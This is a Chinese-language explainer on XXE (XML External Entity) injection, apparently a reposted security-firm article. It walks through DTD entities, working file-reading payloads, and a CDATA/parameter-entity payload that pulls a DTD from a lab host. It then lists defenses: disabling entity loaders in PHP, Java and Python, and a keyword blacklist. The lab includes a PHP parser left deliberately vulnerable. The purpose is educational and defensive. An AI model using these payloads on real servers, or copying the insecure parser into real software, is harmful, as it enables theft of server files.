什么是XXE
XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击。
注入的本质
注入的本质是用户输入的数据被当做代码执行。
基础知识
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,类似下面内容的样子。
示例代码:
//这一行是 XML 文档定义
<!ELEMENT message (username,password)>//定义子元素username password
<!ELEMENT username (#PCDATA)>//定义username元素为"#PCDATA"类型
<!ELEMENT password (#PCDATA)> //定义password元素为"#PCDATA"类型
*左右滑动查看更多
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写。
示例代码:
<message>
<username>admin</username>
<password>admin</password>
</message>
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的。
示例代码:
<!ELEMENT message ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样。
示例代码:
<message>
<user>&xxe;</user>
<pass>admin</pass>
</message>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。
重点一
实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部文件中引用,我们看下面的代码:
示例代码:
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.txt" >]>
<message>
<user>&xxe;</user>
<pass>pass</pass>
</message>
*左右滑动查看更多
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)。
重点二
我们上面已经将实体分成了两个派别(内部实体和外部实体),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。
1.通用实体
用 &实体名; 引用的实体,它在DTD 中定义,在 XML 文档中引用。
示例代码:
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<message>
<user>&xxe;</user>
<pass>pass</pass>
</message>
*左右滑动查看更多
2.参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用。
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体。
(3)和通用实体一样,参数实体也可以外部引用。
示例代码:
<!ENTITY % test "test">
<!ENTITY % xxe SYSTEM "http://192.168.59.130/test.txt">
%test; %xxe;
*左右滑动查看更多
我们能做什么
实际上当你看到下面这段代码的时候,有一点安全意识的小伙伴应该隐隐约约能觉察出什么。
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.txt" >]>
<message>
<user>&xxe;</user>
<pass>pass</pass>
</message>
*左右滑动查看更多
既然能读 txt ,那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?
读本地敏感文件
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。
本地服务器上放上解析 XML 的 php 代码:
示例代码:
xml.php:
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
*左右滑动查看更多
payload:
先提交一个正常的 xml 数据:
<!ENTITY xxe "test"> ]>
<test>&xxe;</test>
如果我们提交下面这样的payload,就能看到服务器上的文件内容:
<!ENTITY xxe SYSTEM "file:///C://Windows//win.ini"> ]>
<test>&xxe;</test>
但是因为这个文件没有什么特殊符号,读取的时候可以说是相当的顺利,那么假如要是换成下面这个文件呢?
如图所示:
测试一下,结果如下图:
可以看到,不但没有读到我们想要的文件,反而还报了一堆错,怎么办?这个时候就要祭出我们XML元素的另一个类型CDATA。
介绍如下:
CDATA是在XML文档里面使用的关键字,用来告诉浏览器,这部分内容不用解析,是给其他程序用的,比如js代码等。CDATA 部分由 "开始,由 "]]>" 结束。
那么要想在 DTD中拼接,我们知道只有一种选择,就是使用参数实体。
payload:
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.59.130/test.dtd">
%dtd; ]>
<test>&test;</test>
*左右滑动查看更多
test.dtd:
<!ENTITY test "%start;%xxe;%end;">
成功读取到test.txt:
以上就是对XXE外部实体注入简单的科普。
防护手段
知道了XXE外部实体注入的简单原理,又该如何防御呢?
方法一:
使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
*左右滑动查看更多
方法二:
手动黑名单过滤(不推荐)
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| XXE 外部实体注入科普与防护
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论